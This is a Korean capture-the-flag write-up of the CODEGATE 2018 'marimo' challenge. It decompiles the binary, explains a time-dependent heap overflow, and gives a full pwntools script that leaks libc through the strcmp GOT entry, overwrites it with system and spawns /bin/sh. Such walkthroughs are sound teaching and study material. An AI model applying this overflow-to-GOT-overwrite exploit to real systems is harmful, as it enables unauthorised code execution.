4가지의 메뉴가 있다.
bowls를 확인하고 구매하거나 판매할 수 있으며, about 페이지를 출력해준다.
IDA로 주요 함수를 확인해본다.
(함수명은 임의로 변경한 것이다.)
main
while ( createMoss(&input) ); switch ( input ) { case 'V': viewBowl(); break; case 'B': buyMoss(); break; case 'S': sellMoss(); break; case 'Q': puts("bye"); exit(0); return; case 'A': printAbout(); break; default: puts("wrong input"); break; } } }
메뉴를 입력받고 분기한다.
주목할 것은 그 전에 createMoss
라는 함수를 호출한다는 것이다.
createMoss
signed __int64 __fastcall createMoss(const char *a1) { void *p_heap; // ST18_8@2 signed __int64 result; // rax@2 if ( !strcmp(a1, "show me the marimo") ) { p_heap = malloc(0x18uLL); initMoss(p_heap, 1u, 5u); g_arrMoss[g_idxMoss++] = p_heap; result = 1LL; } else { result = 0LL; } return result; }
입력한 메뉴가 "show me the mario"라는 문자열이라면 initMoss
를 호출한다.
initMoss
char *__fastcall initMoss(__int64 p_heap, unsigned int size, unsigned int price) { unsigned __int64 v3; // ST00_8@1 int _size; // ST04_4@1 v3 = __PAIR__(size, price); *p_heap = time(0LL); *(p_heap + 4) = size; *(p_heap + 8) = malloc(0x10uLL); puts("What's your new marimo's name? (0x10)"); printf(">> ", v3); fflush(stdout); __isoc99_scanf("%16s", *(p_heap + 8)); *(p_heap + 16) = malloc(32 * _size); printf("write %s's profile. (0x%X)\n", *(p_heap + 8), (32 * _size)); fflush(stdout); printf(">> "); fflush(stdout); return myRead(*(p_heap + 16), 32 * _size); }
heap을 할당해서 moss
객체를 생성한다. 사용자는 이 객체에 name
과 profile
값을 입력할 수 있으며, 또한 이 객체에 현재 시간
값과 size
값이 저장된다.
printMoss
__int64 __fastcall printMoss(__int64 p_moss) { unsigned int time; // ST18_4@1 int size; // [sp+1Ch] [bp-24h]@1 char v4; // [sp+20h] [bp-20h]@1 __int64 v5; // [sp+38h] [bp-8h]@1 v5 = *MK_FP(__FS__, 40LL); puts(&byte_4014F4); printf("birth : %d\n", *p_moss); time = ::time(0LL); printf("current time : %d\n", time); size = time + *(p_moss + 4) - *p_moss; printf("size : %d\n", size); printf("price : %d\n", (5 * size)); printf("name : %s\n", *(p_moss + 8)); printf("profile : %s\n", *(p_moss + 16)); puts(&byte_4014F4); puts("[M]odify / [B]ack ?"); printf(">> "); fflush(stdout); __isoc99_scanf("%19s", &v4); if ( v4 == 'M' ) { puts("Give me new profile"); printf(">> ", &v4); fflush(stdout); myRead(*(p_moss + 16), 32 * size); printMoss(p_moss); } return *MK_FP(__FS__, 40LL) ^ v5; }
위는 메뉴 입력시, 'V'를 입력했을 때 실행되는 함수의 코드이다.
나는 여기서 취약점을 발견했다.
객체의 값을 출력해주고, 'M'을 입력시 객체의 profile
값을 수정할 수 있다.
문제는, 수정할 profile
의 size
값에 있다.
myRead()
는 2번째 인자인 size
만큼 키보드 입력을 받아서, 1번째 인자인 profile
에 저장하는 사용자 정의 함수이다.
그런데 size
가 설정되는 코드를 보면
size = time + *(p_moss + 4) - *p_moss;
time
(현재 시간값)과 moss
에 저장되있던 size
를 더한 값에서 moss
를 생성했을 때의 시간 값을 빼고 있다.
값의 결과는 moss
를 생성했던 시간과 현재 시간과의 차이 값이다.
즉, 내가 해당 코드를 늦게 실행할 수록 size
의 값은 커진다.
또한 myRead
에 전달될 때 size
에 32를 곱하므로, 짧은 시간 후에 해당 코드를 실행시켜도 오버플로우가 발생한다.
객체를 2개 생성하고 나서 메모리 상태를 확인해보자.
연이어 저장되어 있다.
앞서 발견한 취약점으로 A객체를 오버플로우시킨다면 B의 값을 변조시킨 후, B에 접근해 변조된 값을 사용하도록 만들 수 있다.
다음은 B 객체를 임의로 'TTTTTT...TTTT'의 값으로 오버플로우 시킨 후, B 객체가 사용되도록 코드를 유도했을 때의 결과다.
B 객체의 내용을 출력하는 코드에서 에러가 발생했다.
0x5454545454545454는 존재하지 않는 주소이므로 printf()
실행도중 에러가 발생한 것이다.
문제 바이너리를 보면 pie
만 적용되어 있지 않다.
root@kali:/work/ctf/CODEGATE2018/marimo# checksec marimo
[*] '/work/ctf/CODEGATE2018/marimo/marimo'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
aslr이 걸려있을 거라고 가정하고, got overwrite을 이용할 것이다.
먼저, 객체 2개를 생성한다.
그리고 printMoss
를 호출하여 1번째 객체의 profile
값을 수정하는데 이 값을 오버플로우 시켜서 2번째 객체의 값을 덮어쓴다.
덮어쓰는 값은 2번째 객체의 name
과 profile
위치에 strcmp
의 got주소가 오도록 만든다.
그리고 다시 printMoss
를 호출하면 2번째 객체의 name
을 출력할 때 덮어써진 strcmp
의 got 주소가 출력될 것이므로, 이 출력되는 값을 확인하여 libc 주소를 확인할 수 있다. 이것을 이용해 system
의 주소를 구한다.
바로 'M'을 입력하여 2번째 객체의 profile
을 수정하면, myRead()
는 키보드 입력을 받아서 profile
에 저장된 strcmp
의 got주소에 있는 값을 수정할 것이다.
이 때, 계산된 system()
의 주소를 입력하면 strcmp
의 got주소에 system
주소가 저장될 것이다.
그리고 다시 main
으로 빠져나오면 createMoss()
가 호출된다.
createMoss()
를 다시 확인해보면
createMoss
signed __int64 __fastcall createMoss(const char *a1) { void *p_heap; // ST18_8@2 signed __int64 result; // rax@2 if ( !strcmp(a1, "show me the marimo") ) {
사용자가 입력한 a1
을 인자로 strcmp
를 호출하고 있다.
strcmp
의 주소는 system
으로 변경되었으므로, 내가 메뉴 입력시/bin/sh
를 입력했다면 쉘이 실행될 것이다.
1번째 객체를 오버플로우할 때, 조작할 2번째 객체의 profile
과 name
값만 입력하는게 아니라 time
, size
값도 맞춰줘야 한다.
myRead
함수를 보면
char *__fastcall myRead(char *dst, int size)
{
char *result; // rax@6
char v3; // [sp+1Bh] [bp-5h]@3
int i; // [sp+1Ch] [bp-4h]@2
while ( _IO_getc(stdin) != 10 )
;
for ( i = 0; i < size; ++i )
{
for
문에서 size
값을 i
와 비교할 때 signed jump인 jl
로 분기하게 된다.
오버플로우 시킬 때 size
, time
값을 제대로 설정하지 않으면
size
를 계산하는 아래의 코드에서
size = time + *(p_moss + 4) - *p_moss;
부호비트의 MSB가 1인 결과가 나올 수 있다.
size
는 충분히 큰 값이지만, 음수로 인식되어 myRead
함수 안에서 for
문이 스킵되고 값을 입력할 수 없게 된다.
파이썬을 이용하여 코드를 작성하였다.
from pwn import *
import time
#context.update(arch='amd64', os='linux', log_level='debug')
p = process('marimo')
def createMoss(ch):
p.sendline('show me the marimo')
p.sendlineafter('name? (0x10)', ch*0x10)
p.sendlineafter(')\n', ch*0x32)
p.recvrepeat(0.2)
createMoss('a')
p.recvrepeat(0.2)
createMoss('b')
p.recvrepeat(0.2)
p.sendline('V')
time.sleep(3)
#overwrite moss[1]'s profile address to printf
elf = ELF('marimo')
got_strcmp = elf.got['strcmp']
log.info('got_printf : ' + hex(got_strcmp))
offset_to_m1name = 0x38
p.sendlineafter('>> ', '0')
p.recvuntil('time : ')
cur_time = int(p.recvline().replace('\n', ''),10)
p.sendlineafter('>> ', 'M')
p.sendlineafter('>> ','a'*(offset_to_m1name-8)+p32(cur_time)+p32(0x10)+p64(got_strcmp)*2)
p.sendlineafter('>> ', 'B')
#into View moss
p.recvrepeat(0.2)
p.sendline('V\x03')
#leak printf in libc
p.sendlineafter('>> ', '1')
p.recvuntil('name : ')
addr_strcmp = u64(p.recvline().replace('\n', '').ljust(8, '\x00'))
log.info('addr of strcmp: ' + hex(addr_strcmp))
#overwrite strcmp's got to system
p.sendlineafter('>> ', 'M')
offset_unknown = 0x111390
addr_system = addr_strcmp - offset_unknown
log.info('addr_system : {0} - {1} = {2}'.format(hex(addr_strcmp), hex(offset_unknown), hex(addr_system)))
p.sendlineafter('>> ', p64(addr_system))
p.sendlineafter('>> ', 'B')
#execute /bin/sh
p.recvrepeat(0.2)
p.sendline('/bin/sh;')
p.interactive()
코드를 실행하면
쉘이 실행된 것을 확인할 수 있다.